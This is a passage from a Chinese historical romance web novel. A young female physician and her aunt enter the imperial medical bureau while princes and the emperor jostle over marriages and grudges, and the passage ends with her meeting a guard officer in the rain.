不免留个心眼,将一串小铜铃悬在幔帐的褶子里, 外人进来不知道的情况下一撩开, 便有突兀的叮铃声示警。 悬好铃铛,明间传来姨母吩咐小桃催她用早食的声音。 “就来了。”程芙提衣跨出寝卧,“姨母, 太医署的考核何时揭榜?” 十一考完,如今都十四了还没个动静,想来中秋节前是没结果的。 柳余琴:“我问了太医署的人,就这两日的事儿,一旦有了准信自会有专人前来传旨,教授宫廷礼仪,觐见皇后娘娘。” 冬芹和小桃摆完桌福身退下, 这是奶奶建议给太太新立的规矩, 不用她们站在旁边服侍。 所谓服侍其实也就是盛个饭添碗汤的,柳余琴本来也没叫她们站太久,而今有了阿芙的建议,干脆摆好桌各自散去,早些用完饭忙其他活计都便宜。 程芙走过来为姨母盛饭, 又给自己添上一碗粥,娘俩亲近,用餐时偶尔说说话,不拘繁文缛节。 她将剥好的鸡蛋放入姨母手边的小碟,“拢共五个人,被皇后扫一眼应是很好留个印象吧?” 柳余琴抬眼,对面的外甥女娴静柔和,亮亮的眼睛有点顽固,却是一种类似小孩子的顽固,惹人怜爱。 “旁的人说不准,你的话,皇后定然会印象深刻。”她说,“但你也不要抱有不切实际的幻想。姨母说这句话不是为了打击你的想法,更不是轻视你的韧性,只是基于世情,据实已告。” 程芙没想到自己的念头被姨母一眼看穿,垂了眼动动嘴唇,小声道:“我在燕阳颇涨了些见识,又经过惠民药庄一番栽培,早已不是呆木头。姨母,您实话跟我说,我的医术是不是很厉害?” 柳余琴垂眸抿了口清粥,“是。” “那咱们进了太医署,定会有一番作为!”程芙激动道,“皇后娘娘母仪天下,宅心仁厚,实乃历朝历代罕见的奇女子,桩桩件件都是为把被踩进土里的女子拔-出来,你我精于女科,难逢敌手……” 天真的话语终究是逗笑了姨母,柳余琴轻轻搁下碗筷,目光慈爱,柔声细语道:“傻孩子。” “……?” “你我医术确实出色,别的不敢夸,单说女科,咱俩定然为地方翘楚,前提是京师以外地方上的。”柳余琴说,“孩子,你可知你眼中的人世其实只是真实世间的冰山一角?” “天下精英,习得文武艺,莫过卖与帝王家。隐世高手万中无一,有也多半是一个噱头,为了更好卖与帝王家,卖与心仪之主。所以太医署便是杏林精华,揽进天下医术高超的精英,他们在太医署可能是个连品级都没有的小医员,拿去地方上便是一方神医。” 程芙:“……” “如此你便明白了吧,咱俩这身受人追捧的医术,进太医署不难,或许进去还真比一些人优秀,可顶天了也就是中上的水平。”柳余琴笑了笑,“我们这样的人可能讨一些贵人的喜欢,比如我,还不等填补职缺就入了安国公夫人的眼,日子立刻就比平民富足。可你要说去和太医署的女御医相比,跟皇后贵妃御用的医女相比,委实不够看。” 从医术、才情乃至阅历,怎可能比过杏林世家栽培的佼佼者? 真当世家是吃素的? 阿芙甚至都没见过真正的精英,柳余琴倒是站在角落里得以观摩过,压根就不是一个层级的,她连女御医随手开的一个方子都看不懂,回去仔细研究,懂了大半也十分吃力。 走到皇后身边服侍,难度不亚于学子一朝高中步入翰林。 姨母的话使得程芙如遭雷击。 洋洋自得,距离太医署只差临门一脚的小女医,沉湎于燕阳周围仆婢的夸赞,荀御医的夸赞,一时竟忽略了那些夸赞的背后是否有善意的客套。 金针止血固然优秀,所以吸引了荀御医的目光,可她除了金针止血,死记硬背阿娘留下的脉案处方,何曾有一些自己的东西? 她能在医道上小有成绩,完全是站在阿娘的肩上。 如若没有阿娘,她什么都不是。 荀御医的另眼相待不过是拿她当小姑娘看待,正常男人都不会对个姑娘家太苛刻,且她确实精于女科,言辞之间自然溢满赞美鼓励了,反正他又不是她什么人,犯不着说难听的话得罪她呀。 今日姨母一席话,恰似当头棒喝,狠狠敲醒了自得尚不自知的程芙。 年轻的她发现自己最擅长的不是别人眼里最强的,不过中等尔尔。 而她那个埋藏心底,怯怯羞于启齿的,妄想近身侍奉皇后的痴念……无异痴人说梦。 按姨母的意思,将来能有机会服侍才人美人什么的已是不错,妃嫔往上的可能性则极低,除非有人大力举荐。 程芙:“那也很好了。咱们尽人事听天命。” 说罢,喝了一大口粥。 柳余琴弯弯唇角。 姨母的话自然是实话,程芙一直相信人外有人天外有天,却也有自己的固执。 她低头想了想,道:“当初我在燕阳为奴为婢,过着担惊受怕的日子,谁能料想我会逃出王府,逃出燕阳,我觉得其中难度也不比考进士入翰林低的!” 但凡错一步,此刻的她,身边应是没有姨母,没有热粥的。 柳余琴搅动粥碗的瓷勺缓缓停下了。 “姨母,这么难的事儿都被我办到了。”程芙歪着脑袋说,“可见世上没有不让人办成的难事。” 端看有没有机缘,够不够努力。 “……”柳余琴眼眶微微发热,道,“阿芙说得对。” 程芙自己剥了颗鸡蛋,咬了一大口,眯眸一笑。 中秋佳节,举国欢庆,大昭的京城当晚取缔宵禁,万民同乐,共沐天恩。 宫城内,浮光殿华灯闪闪,犹若穿珠缀玉,众星拱月,一阵阵火焰烟花连空绽放,欢悦喜气的笙歌高扬,舞姬翩然出场,姿容妍丽,周身剪绮裁罗,摇摆若水红绡,香风扑面,唱舞一曲海晏河清。 老皇帝精神矍铄,左手边是端庄严肃的皇后,右边则是妩媚多情的邱贵妃,另有几位颇得脸面的妃嫔列坐下首,而后是亲王郡王公主郡主们,除了仍在蕃地的竼王,景暄帝的嫡子嫡孙都到齐了。 他甚为得意,这些健康的聪明的子孙全都源自于他的血脉,因而他很喜欢和女人生孩子,年轻美丽的女人不仅让他焕发奇特的生命力,还能孕育世间最优秀的骨血。 目光忍不住落在下首的柔嫔身上,今年才十八岁,已经怀了他第二个孩子了。 太子起身,率领众兄弟姐妹以及子侄朝皇上皇后敬酒,恭祝父皇母后(皇祖父皇祖母)万岁千岁,大昭永享盛世。 皇帝呵呵笑着,大手一挥,“今日家宴,难得阿诺不远千里和亲人团聚,你们且开怀畅饮,不必拘礼。” 众人再叩首,以谢皇恩,依序回到自己的位置落座,享用美酒佳肴,鉴赏舞乐。 宴毕,众人又簇拥着帝后前去御花园赏月,园中的石灯塔熊熊燃烧,四处可见一排排琉璃灯盏,木樨飘香,花木葱茏。 崔令瞻与太子一左一右,亲自搀扶景暄帝拾阶而上。 倘若不知他们身份,外人定会误以为这是一对亲兄弟搀扶着年迈的祖父。 叔侄俩看起来长相酷似,年纪也酷似,实非太子擅长保养之术,而是他本来就年轻,今年也不过才二十六,年长崔令瞻五岁。 年轻的太子自小就被八方高人掐算过,乃功德无量之人转世,有大福气,旺亲缘,至善至孝,近几年发生的事无不印证了当年的批语,光是在明堂水米不进,为病危的皇帝祈福之举,感动上苍降祥瑞,已让皇帝深受震动。 这样的太子,只要不犯大错,一辈子稳了。比之远在北疆镇守的兄长不知幸运多少倍。可他偏偏与崔令瞻不对付,视为眼中钉肉中刺,几番欲除之而后快。 彼时崔令瞻并无不臣之心,憧憬的生活仅是燕阳兵强马壮,百姓衣食无忧,然后与阿芙生几个健康的孩子,平平淡淡过一生。 面对咄咄逼人的小皇叔,虽不解却也未曾落过下风。 太子崔逞乾自觉颜面扫地,堂堂太子竟斗不过一名亲王侄子,胸臆的不甘渐盛,浓厚的怨愤在阴影中酝酿成了遮星避月的乌云,益发痛恨分裂君王集权的藩王祖制,铁了心削藩。 仿佛削藩就能把崔令瞻也一齐削成两半。 可笑的是,积怨已久的二人在老皇帝面前,始终言语温善,举止翩翩,扮做血浓于水的一家人。 然话又说回来,今日在场的又有几人不虚伪?谁不是带着假假的面具,假假的笑? 赏了片刻秋月,景暄帝偏头看崔令瞻,笑道:“阿茉长大了,几日不见就变成了大姑娘。听说你们在燕阳相处的十分融洽,此番若非急招你入京,她和瑞康还能在燕阳多与你相处些日子。” 数十步外,卓婉茉正含羞带怯躲在瑞康公主身后,似是感应到了皇祖父与表哥的视线,微微抬眸,又撇开了脸。 崔令瞻:“皇祖父急诏前,皇姑母一家已经准备辞别,只为中秋节能在皇祖父膝下尽孝。” 景暄帝呵呵笑,捋了捋胡须,问道:“那么阿诺觉得阿茉美不美呢?” 崔令瞻:“请皇祖父恕孙儿无法违心回答。” “哦?”景暄帝抬了抬手,笑道,“朕不信世上会有觉得阿茉不美的男人,除非他是瞎的,不过朕更想听听你的真实想法。” 崔令瞻:“回皇祖父,阿茉是孙儿见过的最好看的表妹。” “只是表妹?” “是。” 只是表妹而不是女人,他目光坦荡,清澈明亮,断无一丝隐念。 崔令瞻不是因为有了阿芙才不去对卓婉茉的生念想,而是从来就没有念想过卓婉茉,在他眼里阿茉与阿真没啥分别。 没有人会对自己的妹妹有想法。 别说想法了,便是提一提他都觉得浑身不适。 景暄帝了然,到他这把年纪若还看不出阿诺有无男女之情,就算白活了。 没有就是没有,幼时不曾起,现在长大了也不会改变。 也罢,这个情况硬凑一起反倒不美。景暄帝非常豁达,决定找个机会让阿诺再见一见吴家姑娘,总有一个可心意的。 当景暄帝与崔令瞻叙话,旁边的太子立即竖起耳朵,余光不时逡巡父皇与阿诺,忖度父皇要选吴家嫡女做毅王正妃,那为何轮到他的却是个庶女? 读不懂父皇葫芦里卖的什么药,但读懂了崔令瞻云淡风轻下的得意。 崔逞乾阴翳的视线与崔令瞻短促地碰了下,脸颊微抽,忿然扭过头,止不住冷笑,他这个太子怕是天底下第一窝囊人,处处都要被侄子压一头。 景暄帝:“当年怂恿老六起兵的残渣余孽仍在逍遥法外,贼厮一日不除朕便一日难安,北镇抚司奉旨追查此案多年,人手遍布大江南北,为了方便行事,大多隐姓埋名,掩去身份。” 他说着,似笑非笑看向崔令瞻,“榆白便是其中一个,这几年他屡立奇功,朕很喜欢,连升他至正三品指挥佥事。此番因在燕阳行事,处事多有不敬,望你念在朕的面子上,与他化干戈为玉帛。” 能得皇帝亲自开口求情的锦衣卫不多,崔逞乾一怔,脑海迅速搜刮出“凌榆白”三个字,此前照过面,一名不起眼的新人。 他眼珠滴溜溜转,恨不能将耳朵安在景暄帝和崔令瞻中间。 景暄帝所言不假,确有追查老六辉王余党的锦衣卫在外行事,但凌云——凌榆白不是,崔令瞻和皇帝心知肚明,相视一笑。 “孙儿不敢。”崔令瞻垂下眼抱拳,微微躬身,“既是为皇祖父办事的锦衣卫,便是三法司都要让路,孙儿自不会去计较凌大人过失。” “那便好。”景暄帝拍拍崔令瞻肩膀,呵呵笑。 他没有提凌云受了重伤一事,崔令瞻也没有承认自己的人刺伤了凌云。 这一剑下去,虽不能彻底解恨,但该出的气也出了大半,景暄帝不动声色地警告崔令瞻:适可而止。 崔令瞻缓缓咽下这口气,心脏陡然狂跳:皇祖父对一切了然于心,那么会不会也知道了自己与凌云结仇是为一个女人? 便是不知,凌云能忍住不告状? 崔令瞻寒意四起。 “不是榆白告的状。”景暄帝说,“他是个厚道孩子。” 不是凌云便是其他锦衣卫了。 其他的锦衣卫还知道多少? 崔令瞻狂跳的心脏蹦到了嗓子眼,下一瞬又倏然落下了,因为景暄帝说:“我知道他在你的封地眠花宿柳,强抢民女,还拿着鸡毛当令箭闯城门,桩桩件件都该你教训他一回。但事情,必须到此为止。” 崔令瞻起身恭恭敬敬答:“是,皇祖父。孙儿回去便自省。” 皇帝这才露出真正的笑,拉着他手落座。 关于阿芙,景暄帝一无所知,否则早就赐下白绫一条,亦或直接赏给二人之一做妾了。 女人而已,温顺便养着,不听话就丢掉,倘若惹起祸端,尤其这种会惹血光之灾的,必须早早杀之。 而此时,崔令瞻忖度凌云吃了一剑,有所收敛,才没敢乱讲话。 管好嘴巴才能长命,希望凌云知道什么能说什么不能说,如若连累阿芙一分一毫,那么崔令瞻宁肯被皇祖父当众贬斥鞭打,也定要其身首分离。 双槐胡同的柳杨两家,在京师过了第一个中秋节。 杨氏家里只有她一人,孤孤单单的十分可怜,正好柳家也只有姨甥二人,双方商量过后凑一处过节,图热闹,图人多的鲜活气。 两家主仆待在杨家的大花园,摆上满满一桌瓜果点心赏月。 中间则是一大盘阳澄湖大闸蟹,肥得流油。 便是仆婢也都能分到一只小的,小桃高兴地都要跳起来,却很懂事地站程芙身侧,规规矩矩。 在外面不比家里,不能给太太和表姑奶奶丢脸。 杨氏打量小桃一眼,笑道:“妹妹家的婢女很是不错,年纪虽小却知礼文静。” 小桃被夸红了脸。 杨家婢女端来吃蟹工具,为三名主子剥蟹,剥得干干净净,依次摆盘,摆成花样子,全程无需主子费手,只管端起香甜的蟹肉蟹黄品尝。 恍惚中,有种回到了毅王府的错觉,程芙怔了怔,遂把注意力放去别处,旋即被鲜甜甘美的蟹肉吸引。 真好吃,原以为这辈子都吃不上了。 杨氏:“等我买的名贵菊花一到,再请你们赏菊,咱也学那文人,管这叫雅集。” 一席话把人逗乐了,大家七嘴八舌议论文人该是何模样。时人对文人有着天然的敬畏,尤其底层的人。 “还能什么模样,跟咱们一样,两只眼睛一张嘴。”杨氏说,“比起我认识的后生,差的不止一星半点儿。” 柳余琴:“那改日还请姐姐安排,好歹让我们见上一见。” 杨氏心中一喜:“好说好说。” 次日大清早,双槐胡同冒出了一行宫人内侍,来传皇后娘娘的懿旨。 柳氏姨甥双双高中。 五个名额,她们占了俩。 这样的好消息迅速在双槐胡同扩散,四邻八舍纷纷来贺,光是酒席就摆了三日。 到得八月十九日,方才散了席。宫里恰好来人接她们去皇城巷学习宫廷礼仪,这一学又是五日,到得八月廿四,程芙和姨母适才哭丧着脸出关,抱着两身医女的公服重见光明了。 学规矩跟坐牢差不太多。 姨甥不约而同想到了福仙楼,这不得狠狠犒劳自己一波。 柳余琴:“咱也点个雅间,最便宜的那种。” 程芙:“都听姨母的。” 难得奢侈一回,二人高高兴兴去了二楼光线较弱,风景略微欠佳的雅间,便是这样也没差到哪里的,一进门满室花香。 窗前摆了五六盆香味清淡的不知名小花儿,色彩明艳。 程芙心生欢喜,东摸摸西嗅嗅,忽听薄薄的门扉外传来一阵银铃笑声,而后是两名少女的交谈。 “你不知昨儿二房的嘴脸,傲气的呀,啧啧啧,八字还没一撇的事,仿佛皇上真的会为萱小姐与毅王赐婚似的。” “不能够吧,萱小姐的相貌才情哪一样能及汀小姐?我倒觉得毅王看上的人是汀小姐。” 程芙不知道萱小姐、汀小姐是何许人,只听清了“毅王”二字,不由紧张,却见姨母蹑手蹑脚挪向门边,把耳朵贴向门缝。 程芙:“……” 声音略尖的少女问:“毅王和汀小姐见过面?” “见过呀,初十就见了的。当时萱小姐失手打翻茶盏,泼湿了汀小姐的苏绣马面裙,明眼人都能瞧出她故意的,汀小姐不想在毅王面前失礼,只能红着眼先行告退,因走得急,加诸堵心,未曾留意拐角处,一头撞进了毅王怀里……” “嘻嘻嘻——” 两个小丫头幸灾乐祸笑起来,绘声绘色描述当时的场景,说那毅王如何丰神俊朗,眉眼深邃,又如何痴痴凝视着倾国倾城的汀小姐,汀小姐又如何羞红了脸,趴在毅王怀中惊慌失措。 越说越离谱,越说越有鼻子有眼的,她们一径嘲笑坏心眼的萱小姐偷鸡不成蚀把米,眼睁睁看郎才女貌有了“肌肤之亲”,气得呕血。 交谈声越来越小,须臾消失得无影无踪。 程芙的表情仿佛吞了只苍蝇。 按照“目击者”提供的时间,大致推断崔令瞻是在登堂入室非礼完她后,于次日去了别人家,与萱小姐、汀小姐相亲,继而与汀小姐一见钟情…… “她们说的毅王是你认识的那个?”柳余琴小心翼翼地问。 程芙别过脸,莫名其妙地难堪,淡淡嗯了声,“是的。他一贯如此轻浮。” “……”柳余琴吃惊道,“他来了京师?” 程芙:“应该吧。” 走到桌边,她给姨母和自己倒了两杯茶,二人落座,倚窗看风景。 程芙:“您别担心,这是好事,等皇上为他了赐婚,有妻子的约束,想必不敢再胡来了。” 说到这里,程芙轻轻放下了绷紧的双肩,事情都在朝着对她有利的方向发展着,不需要她花很多的力气。 她垂眸盯着杯中淡绿的茶汤,看清晰的叶片在汤中打着旋儿。 第48章 柳余琴的视线转向程芙, 一双通透的眼里满是温和,“男人都差不多,倒也不必为此失落。” 程芙:“您误会了, 我只是有一些唏嘘。” 柳余琴是过来人, 早就对人性的千姿百态见怪不怪, “倒也不必羞于承认, 因为谁摊上都如此,说‘不’的是伪君子。” 程芙:“……?” 姨母这是在骂她吗? “方才她们用了‘丰神俊朗’四个字。”柳余琴问, “毅王是不是长得很好看?” “还行。” “那就是真的俊美。” “……”程芙嘴角抽了抽。 “优秀的外貌,顶峰的家世, 手握重权与财富, 关键他还如此年轻,只要他肯矮下身段伏低做小,世间又有几人能抵抗?就如男人抵抗不住艳冠群芳的贵女。” 柳余琴继续道:“且他多番讨好你, 让你在不知不觉中习惯了他围着你转。而今骤然得知他也会同样围着别人,落差这不就自然而然来了?你唏嘘也好失落也罢,实乃人之常情。” 程芙:“您不觉得我没出息?” 柳余琴笑了,“怎就没出息了?一没被他驯化,二没高看他,我都要佩服死你了,换成我, 我可能就认了。” 她说完叹了口气。前面可能会不服, 一听有王妃可以当,她铁定举白旗投降。 程芙也叹了口气,与姨母对视一眼,会心一笑。 柳余琴:“现在心里可有发酸发疼的症状?” 听此一问,程芙敛神感受了下, 摇摇头,“不疼也不酸,只是略有些茫然。” 柳余琴点了点头,“看来的确是‘习惯’二字作祟,问题不大,试着打开心胸,接受人性。世上姹紫嫣红,没有人非你不可,他钟爱你这朵不逊的茶花,也不妨碍欣赏多情的芍药。” 柳余琴:“记住了姑娘,男人喜欢你是真的,同时喜欢好几个也是真的,唯有非你不可是假的。” 一席话通透又朴实,把程芙说得豁然开朗,腮红颊涩,承认道:“我果然还是做作了些,方才其实是失落、失望、唏嘘,五味杂陈。” 毕竟被他占了大便宜,又被他塞了一耳朵甜言蜜语,结果他转头就去撩拨别的女人了,程芙再如何看不上他也会莫名意难平,感觉自己被愚弄了。 此刻倒是真想通了,话题便也就此揭过,她叫来店小二,与姨母翻着菜单,点了好些二人爱吃的,又打包了六盒点心,以谢刘氏打发骡车接她们回家。 柳余琴也饿了,与外甥女痛痛快快吃喝一顿,慰藉劳苦多日的身子骨。 接下来的日子还要准备觐见皇后娘娘,相看牙行介绍的三家铺面,再然后正式成为太医署女医员,林林总总,大大小小的事情,数不胜数,够她们忙得脚不沾地了。 尘世诡谲,人心复杂,姨甥二人相互扶持,认真过日子。 程芙渐渐把崔令瞻抛诸脑后,连同往事一起尘封了。 她与他此后一个进太医署脚踏实地、步步高升;一个回燕阳喜结连理、生儿育女。 如此孽缘,最终以皆大欢喜的方式结束,于程芙来说也算是一种别样的幸运了。 …… 中秋已过多日,崔逞乾从忿忿不平渐渐变得郁郁寡欢,那副丧眉搭眼的模样,景暄帝很难假装视而不见。 这孩子有些小聪明,做个守成之君问题不大,却有一条不太妙,怕也是他致命的缺点——急功近利。 这样的人眼光不长远且缺乏耐心,但他的仁善孝顺又弥补了这些不足,使得他听得进谏言,用得了身边的文臣武将。 至于这份仁善孝顺有几分纯粹,景暄帝自不会认真计较,他眯眸淡笑,世上哪来那么多赤子之心,能演好赤子之心,肯花心思讨好他,且也确实把事情做得令他满意,就可以了。 “老九,你是不是觉得朕有失公允,偏心阿诺?”他问。 崔逞乾大惊,忙忙推案走到殿中央,撩衣跪地叩首,“儿臣不敢。” 景暄帝牵袖接过贴身太监递来的热茶,吹一吹,小口饮啜,这是他的特殊癖好,喜欢偏烫一些的茶水,也只有魏大伴才能拿捏如此熨帖的水温。 “大伴近来身子骨如何?”仿佛忘了地上的太子,景暄帝温声询问服侍自己几十年的大伴。 魏宪的头发全白了,生了双细长眼,小鼻子小嘴,此刻一张圆脸笑起来愈发显得喜气,慈眉善目的,弓着腰笑吟吟回:“劳皇上记挂,亲自指派了太医署之首孟御医登门问诊,奴才的贱骨头当时就恢复了三成,再一见到孟御医又恢复了三成,剩下的四成连喝两碗汤药便全好了,感觉自己都能像小时候那样,背着您到处撒欢呢。” 这番话把年近七旬的老皇帝说得眼眶发热,心窝子滚烫,“朕富有四海,什么年轻力壮的禁卫没有,哪里需要你背着。” 魏宪抄着两只手,“奴才心甘情愿。” 崔逞乾不敢抬头,也不敢继续狡辩,只能丧丧地垂着脑袋,静静地听父皇喝茶的细微声响,与魏大珰闲聊的笑声。 终于,景暄帝喝完了茶,慢悠悠开口道:“还跪着呢,起来。” 原本泥胎木塑似的站班小内侍,听了此言,赶忙上前搀扶太子起身。 崔逞乾悻悻站在原地,依旧低着脑袋。 “不要总是盯着阿诺,他好歹是个亲王,不娶国公府的嫡女为妃,难道娶个庶女?丢了亲王的脸面,你这个太子叔父脸上就能有光?” 这话说得相当直白了,崔逞乾的脸色一阵红一阵白,呐呐无言。 景暄帝:“是你执意要立肖家嫡女肖玉质为妃,那便不能以吴氏嫡女为妾,否则将来后患无穷。”似又想起什么,他皱起了眉,“回去好生相待吴良娣,切莫亏待了,她虽是庶女却也是名门闺秀,嫁与你为妾,不丢分。” 崔逞乾肝胆俱裂,万没想到后院这点事竟传到了父皇耳中,立刻又跪了下去,“儿臣知罪,父皇教训的是,此番是儿臣不知轻重,草率行事了。” 他贪图肖家家世,又觊觎国公府汀小姐的娇姿艳质,左右权衡了一年终于立肖家嫡女为太子妃,正在筹谋手段强娶汀小姐之际,被崔令瞻横插一杠,怎能甘心。 纵使一切都是父皇的主意,崔逞乾也无法原谅崔令瞻,反倒把对他的恨意又添了一笔“夺妻之恨”。 这股切齿入骨的恨意全然不输崔令瞻对凌云之恨。 只不过崔令瞻底气硬实胆气足,真敢与情敌真刀真枪见真章。 崔逞乾则不同了,一身花架子拳脚,莫说与崔令瞻正面较量,怕是连人家身边一个内侍都打不过,唯一能抖威风的场合也只有狩猎,被一群奴才下属捧上天。 所以他只能暗恨,偷摸搞小动作。在他各种阴暗筹谋还没拿出章程时,崔令瞻已经付诸行动,把情敌凌云一剑戳穿。 凌云受了重伤,被太医署的人抬回府邸抢救了三天四夜,中秋十五那日才堪堪苏醒,转危为安。 这样都能活,封曲也没辙了。 夜深人静,崔令瞻仍在案前信笔拟写文书密函,偶尔与封曲交谈。说话时眼睛未离开信纸,玉笔也未停。 书至一半,他淡淡道:“把凌府附近的暗卫先撤了,等风声一过再从长计议。” 封曲:“是,王爷。” 中秋闲谈并非说情而是明面警告。景暄帝警告崔令瞻,自己用着趁手的利刃,谁人敢折? 崔令瞻俯首称臣,将恨意深埋心底,如同崔逞乾恨他一样地恨凌云。 男人的世界没那么壮丽,英豪厮杀,大多争得也是权力美人,且男人的心胸也不比女人广阔,他们在争抢中撕咬扭打,而后记恨。 崔令瞻就是这样的人,而他的情敌也不会比他伟岸光明到哪去。 女人与别的男人不清不楚十余日,此等奇耻大辱,崔令瞻不会忘,更不能原谅凌云襄助阿芙逃回京师,彻底打乱了他强娶美人的计划。 现下阿芙过上梦寐以求的日子,怎甘再受制于他,一旦他强行掳人,势必要真正离心。 两个不怀好意的男人,一个表面温柔实则强势又心机,一个举棋不定危险且贪婪,似两座黑山笼罩了还在勤奋夜读的程芙。 京师的天要变了,变得越来越凉,一场秋雨一场寒。 八月廿六的深夜,乌云密布,倾下瓢泼大雨,把程芙寝卧新糊的纱窗都掀了,她和小桃抬着挡板镶进窗框里,方才将风雨严严实实挡在了屋外,屋子里登时有股不通风的闷气。 不是很舒服。 但她已经习惯了这样的环境,熄灯后照常入睡。 次日她与姨母乘车前往宫城觐见皇后。 两人相比另外三名医员,家世不够看,身份也略显寒碜,可还是那句话,她们早就习惯了,倒也不觉自卑,亦不刻意讨好什么,只亦步亦趋跟随宫人至武英殿的朱红色大门前。 众人安静站立片刻,有粉裙宫人来报:“皇后升殿,各位大人请随奴婢觐见。” 为首吏目道一句:“有劳了。” 众人拂衣整冠,抄手迈进了门槛,到了大殿排班而立,整齐地叩拜三丈外宝座之上的皇后娘娘。 没有人敢拿眼乱觑。 若非有女官宣笺表跪,程芙都不知皇后本人有没有待在宝座上。 不过很快她便听见了皇后的声音,不急不缓,沉而稳。 “平身。”皇后道。 女官大声唱道:“皇后赐平身。” 以吏目为班首的众人立即谢恩,三俯伏叩头再起,再接一立拜,方算觐见礼成。 在这铺满金砖的英华殿一隅,程芙初次感受到了皇权无声无息的压迫感。 入得太医署方知医女与男医员不同,无需每日上衙下衙,她们依然待在家中,但非休沐之日不得随意远行,须得保证贵人随传随到。 如若贵人身体不适,医女则可能要入宫陪侍,官方的说法叫值宿。值宿多久没有明文规定,全凭贵人意愿,但不会太离谱。 曾经一宿宿半年的例子也是因贵人患了绝症。 然而宫里没有这么多倒霉的贵人,于是长住的例子不多,可以忽略。 这使得距离皇城较远的医女十分不便,因此户部拨款,供其租赁房屋。 双槐胡同距离皇城不远不近,省去了租赁的麻烦,可若遇上急事也多有不便,于是柳余琴和刘氏商量了长期租车。 家里总要有辆车的,去安国公府,去皇城,去任何地方,都再便利不过。 刘氏家里共有两辆车,其中一辆骡车放着也是浪费,倒真不如租出去,刘氏没用考虑太久便以低于市价的价格签了契书,车夫的月钱则由柳家另外给。 九月十五,太医署开例会,众医女便在这日聚集公署。 吏目站在堂上哇啦哇啦说了一堆的话,口沫横飞,末了才说到重点,沉声警告这批新来的医员:“太医署往来出入大多为男子,才叫你们常在家中待值,可不是真叫你们躺在家里无所事事。” 他拍一拍手中的《医宗金鉴》,“每年三次考核,连续三次不过者立即叉出太医署。” 众女医脖子一缩,面上浮出惶惶之色,皆老老实实回:“记住了。” “柳余琴是哪位?”吏目扫了众人一眼,寻找今年医考魁首。 柳余琴上前福了福身:“回大人,是民妇。” 吏目愣了下,遂点点头:“安国公夫人对你赞誉有加,说你擅长调理月事,秋嫔娘娘点名了要见你。” 数道视线瞬间齐刷刷看向了柳余琴,有惊讶,有暗嫉,有探究,还有狂喜。 程芙狂喜地看向姨母,小小医员,能见到才人美人已是不错,而姨母上来就被一宫之主秋嫔娘娘点名召见,可见医术是有多被认可。 柳余琴瞄了她一眼,微微笑,而后谢过吏目,又谢了秋嫔和安国公夫人,对着空气谢了一通,这才随吏目入宫去。 临行前,她叮嘱程芙:“你先回家吃饭去,不用等我,忙完了我自会雇车回去。” 程芙点点头,小声道:“今日米嫂子卤猪头肉吃,可香了,我让她给您烙饼卷着吃。” 柳余琴偏爱面食,程芙则爱吃米,娘俩经常各吃各的,不过柳余琴更愿意迁就阿芙。 二人简单说了两句,各自忙去了。 惦记家里卤肉的程芙,甫一听得“散了”,立即戴上帷帽,迈着轻快的步子离开太医署。 路上不时有男子侧目而视,不过他们还算自持,没什么恶意。 其他医女虽对程芙充满了好奇,可也没有上赶着认识的必要。 程芙也没有刻意亲近旁人,主要是亲近了必然就要时时聊天,聊天内容多是家常,一来二去别人就会知道她许多底细。 而她……恰恰是个浑身没啥好底细的人。 因此习惯了独来独往。 原来她也是自卑的,只是越自卑越努力,还不肯认输。 “阿芙。”有人唤她。 好些日子没出现的人,站在东南角的甬道附近,凝目望定她。 他身穿公服,腰佩绣春刀,应是在去宫里当值或返回的路上。不过四十余日没见,整个人明显瘦了一圈,从前血气充足的漂亮脸蛋苍白得似乎要透明了。 “……”程芙心底讶然,面上恭敬有礼,朝他福一福身道,“凌大人。” 客气又生疏,带着丝谨慎,挑不出错的好姑娘。 她以前也这样待他,他不屑;她主动示好,他觉得麻烦,可现在,他有些害怕。 凌云笑了笑,主动走过来,“你还好吗?” 程芙微慌,自是知他问得什么,那日被崔令瞻“抓-奸”,回去有没有被崔令瞻殴打…… 凌云在问话时已略有感觉,毅王没有伤害这个姑娘,否则她的眼睛不会如此亮晶晶,走路不会轻盈地垫着脚儿,就差哼一首小曲。 “没事,我没事。”程芙略有局促,警惕环顾周遭,慢慢想起了崔令瞻,也慢慢看清了凌云。 前者甜言蜜语哄着她,甚至许以王妃之位,实则偷偷相亲,马上与国公府的嫡女定亲;后者——面前这个人眠花宿柳,脂粉债无数,且对她存着若有若无的念头。 程芙:“不过上次的事实在过于惊险,我侥幸逃过一劫,下次恐没那般幸运,咱俩还是小心些,莫要大庭广众之下逗留了。” 有理有据,说完只恨不能生出翅膀飞走。 “跑什么?你这样才显得好似真的有了首尾。”凌云嗤笑一声。 “别胡说。” “不要不理我。” “……?”程芙不解地看向他。 “你是不是很害怕?” 没说她怕什么。 “怕。” “我没怎么着你。”凌云抿了抿唇,乌亮的眸眨也不眨,“是你先主动的,一而再招惹我,我把你全须全尾护送到京师,除了阿窈的线索再没图你什么,可你利用完我就立刻假装不熟,哪有你这样过河拆桥的?付大娘若知道你这样待我,一定会很伤心。” 程芙:“我……” 付大娘。 是不是舒坦日子过多了,她怎么差点忘记微末时相识的挚友? 不,她只是不想再回忆燕阳。 现在想起了,她低着头,眼眸里晃动着水光,走得愈发快了。 “他背着你偷偷见别的姑娘。”凌云突然道,“那姑娘长得比你还漂亮。” 程芙慢慢走着,默默听身后凌云的声音。 “许你王妃之位这种话你还真信啊?”他笑着追上了她,两人并肩往前走,“他一定会娶名门世家的贵女。” 程芙抬眸看了看他,而后平视着前方,坦然道:“他没有背着我偷偷。” 凌云:“……?” 程芙:“我又不是他什么人,他见谁,娶谁,对谁好都是光明正大的,与我何干?” “……?” “非要说关系,也就是被他睡过些日子,总不能因此就命亲王为我守身如玉是吧?他要成亲我才高兴呢,可算解脱了。”她再抬眼,发现凌云的脸上已经没有幸灾乐祸的痕迹,便继续道,“大人,提这个人很没意思的,您不如先管好自己的事吧。” 自己都不知玩-弄过多少女子,搁这里五十步笑百步呢,两个烂男人。 老天爷似乎要惩罚她不辞而别,忘掉了挚友,闪了闪,降下数道惊雷,疾雨瓢泼而下。 凌云忙握住她手腕,与她狼狈地钻进甬道。 她的裙摆湿了,溅了好些泥点子,雨珠沿着她额头、脸颊流淌,淌过纤细的颈,一直流进衣领深处。 雨势那么大,幻化成了天然的水帘,隔开了甬道外的一切,世界变得模模糊糊。 两人默然相对,都不再言语。 他掏出一方干净的帕子,仔细擦拭她湿润的脸颊,下巴,程芙想躲,却无处可躲,他站得很近,随便动一下彼此就贴上了。 那之后,过了好一会儿,他才轻轻启音:“可能会下很久,等停了一定要把人饿死了。” 程芙的肚子“咕噜”一声。 他诧异,“现在就饿了?” 